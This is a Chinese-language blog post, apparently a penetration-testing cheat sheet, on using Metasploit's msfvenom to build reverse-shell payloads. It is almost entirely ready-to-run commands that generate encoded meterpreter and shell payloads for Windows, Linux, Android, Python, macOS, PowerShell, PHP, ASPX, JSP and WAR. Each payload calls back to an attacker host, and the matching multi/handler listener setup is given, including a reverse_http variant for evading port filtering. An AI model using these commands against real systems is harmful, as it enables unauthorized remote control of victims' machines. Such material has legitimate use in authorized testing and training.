MSFvenom 是一个组合了 Msfpayload、Msfencode工具为一体的一个框架,主要用来生成Payload.

Windows

0x00 反弹meterpreter(x86)

  • msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -b '\x00\x0a\xff' -f exe -e x86/shikata_ga_nai -i 4 -o payload32.exe

在不指定架构(-a <arch>)和平台(--platform)时,Msfvenom会根据Payload自动选择(可以在指定payload后用--list-options查看)。

该模块默认选择平台为Windows,选择架构为x86。

  • 本地监听端口,等待反弹

    1
    2
    3
    4
    5
    msf5 > use exploit/multi/handler
    msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    msf5 exploit(multi/handler) > set lhost 192.168.1.102
    msf5 exploit(multi/handler) > set lport 4444
    msf5 exploit(multi/handler) > exploit

0x01 反弹meterpreter(x64)

  • msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -b '\x00\x0a\xff' -f exe -e x86/shikata_ga_nai -i 4 -o payload64.exe

0x02 反弹meterpreter(x86)over HTTP

  • 可能会遇到这么一种情况,即目标主机或目标主机网络环境过滤了多余的端口,只允许一些关键端口(如,HTTP、HTTPS)的流量通过。那么我们就可以将我们的流量封装在HTTP或HTTPS协议中以逃避过滤规则。
  • msfvenom -p windows/meterpreter/reverse_http lhost=192.168.1.102 lport=80 -b '\x00\x0a\xff' -f exe -e x86/shikata_ga_nai -i 4 -o payloadhttp.exe

设置监听:

1
2
3
4
5
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost 192.168.1.102
msf5 exploit(multi/handler) > set lport 80
msf5 exploit(multi/handler) > exploit

对比reverse_tcp与reverse_http的数据封装情况:

  • 使用windows/x64/meterpreter/reverse_tcp为Payload时抓取数据包:

  • 使用windows/meterpreter/reverse_http为Payload时抓取数据包,可以发现数据以URL部分被进行传输:

  • PS:若是HTTPS,把Payload改为HTTPS即可。

Linux

  • msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o shell.elf

  • 监听:

    1
    2
    3
    4
    5
    msf5 > use exploit/multi/handler
    msf5 exploit(multi/handler) > set linux/x86/meterpreter/reverse_tcp
    msf5 exploit(multi/handler) > set lhost 192.168.1.102
    msf5 exploit(multi/handler) > set lport 4444
    msf5 exploit(multi/handler) > exploit

Android

  • msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -o backdoor.apk

  • 监听:

    1
    2
    3
    4
    5
    msf5 > use exploit/multi/handler
    msf5 exploit(multi/handler) > set android/meterpreter/reverse_tcp
    msf5 exploit(multi/handler) > set lhost 192.168.1.102
    msf5 exploit(multi/handler) > set lport 4444
    msf5 exploit(multi/handler) > exploit

Python

  • msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f raw -o payload1.py

  • 设置监听:

    1
    2
    3
    4
    5
    msf5 > use exploit/multi/handler
    msf5 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
    msf5 exploit(multi/handler) > set lhost 192.168.1.102
    msf5 exploit(multi/handler) > set lport 4444
    msf5 exploit(multi/handler) > exploit

    受害主机执行:

  • msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f python -o payload.py

    • -f python-f py时,内容为十六进制:

其他

Mac

  • msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp lhost=攻击机IP lport=攻击机port -f macho -o payload.macho

Powershell

  • msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp lhost=攻击机IP lport=攻击机PORT -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

PHP

  • msfvenom -p php/meterpreter_reverse_tcp lhost=攻击机IP lport=攻击机port -f raw -o shell.php

aspx

  • msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=攻击机IP lport=攻击机port -f aspx -o payload.aspx

JSP

  • msfvenom --platform java -p java/jsp_shell_reverse_tcp lhost=攻击机IP lport=攻击机port -f raw -o payload.jsp

WAR

  • msfvenom -p java/jsp_shell_reverse_tcp lhost=攻击机IP lport=攻击机port -f raw -o payload.war

参考链接

https://www.hackingarticles.in/msfvenom-tutorials-beginners/

最后更新: 2019年05月28日 23:28

原始链接: https://sakuxa.com/2019/05/26/msf系列之msfvenom/